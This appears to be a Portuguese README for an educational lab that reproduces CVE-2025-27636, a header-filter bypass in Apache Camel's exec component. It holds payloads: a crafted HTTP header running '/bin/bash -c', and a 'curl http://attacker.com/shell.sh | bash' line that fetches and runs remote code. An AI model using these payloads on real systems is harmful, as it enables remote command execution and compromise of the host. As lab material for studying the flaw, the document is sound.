
Laboratório prático para reproduzir o CVE-2025-27636, um RCE crítico no Apache Camel via bypass do filtro de cabeçalho sensível a maiúsculas/minúsculas. Demonstra injeção de cabeçalho para executar comandos arbitrários através do endpoint exec.
CVE-2025-27636 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Apache Camel, especificamente no componente camel-exec. Ela decorre de um problema sutil, mas perigoso:
O
DefaultHeaderFilterStrategyrealiza verificações sensíveis a maiúsculas/minúsculas nos nomes dos cabeçalhos, que podem ser contornadas usando capitalização alternativa.
Isso significa que cabeçalhos internos do Camel—como CamelExecCommandExecutable—que deveriam ser bloqueados podem passar se sua capitalização for manipulada (ex.: cAmeLexecCommandExecutable).
Quando esse cabeçalho atinge o endpoint exec:, um atacante pode injetar comandos arbitrários, levando ao comprometimento total do sistema.
DefaultHeaderFilterStrategyO DefaultHeaderFilterStrategy do Apache Camel tem a intenção de proteger cabeçalhos internos como:
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 vulnerável se a capitalização burlar o filtro🔍 O que significa "Interno"? Cabeçalhos internos são:
Prefixedos com Camel*
Usados apenas dentro do Camel para controlar o comportamento (roteamento, processamento, endpoints)
Não destinados a serem expostos a sistemas externos como HTTP, JMS, etc.
No entanto, antes da correção, esse filtro correspondia aos nomes dos cabeçalhos de forma sensível a maiúsculas/minúsculas, o que viola a especificação HTTP (onde os cabeçalhos são insensíveis a maiúsculas/minúsculas) e permite bypass como:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
Esse cabeçalho seria passado para o componente exec:, que então executa o payload.
CamelExecCommandExecutableEste cabeçalho diz ao componente camel-exec qual comando executar. É poderoso—e extremamente perigoso—se controlável pelo usuário, especialmente em ambientes que suportam comandos a nível de sistema operacional (ex.: bash, cmd.exe, etc.).
Projeto: Pinewood Server Diagnostic
Autor: @enochgitgamefied
Objetivo: Reproduzir o CVE-2025-27636 em um laboratório educacional e ao vivo.
Construído com Apache Camel 4.10.0
Rotas:
/tasks → Lista tarefas usando exec:tasklist ou exec:ps/systeminfo → Exibe informações do SO (systeminfo ou uname -a)/network → Mostra ipconfig ou ifconfigInterface Web servida em / usando Jetty embarcado
Vulnerável à injeção de cabeçalho com capitalização modificada se a filtragem não estiver corrigida
# Clone o repositório
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Empacote a aplicação
mvn clean package
# Execute
java -jar target/hello-camel-1.0-SNAPSHOT.jar
Depois, acesse no seu navegador:
🖥️ http://<seu-ip>:8484
Comportamento não corrigido:
Se você enviar um cabeçalho como este (observe a capitalização):
cAmeLexecCommandExecutable: whoami
O filtro não o bloqueia, e ele é passado para o endpoint exec:. Você pode demonstrar:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← perigosoUma demonstração completa está sendo preparada e será enviada em breve. Ela abordará:
Link da demonstração no YouTube https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy personalizado se precisar aplicar uma lógica mais rigorosa.exec: diretamente ao HTTP, a menos que estejam totalmente bloqueadas.exec.Este laboratório é projetado apenas para fins educacionais e de laboratório controlado. Nunca tente isso em sistemas ou redes não autorizados.
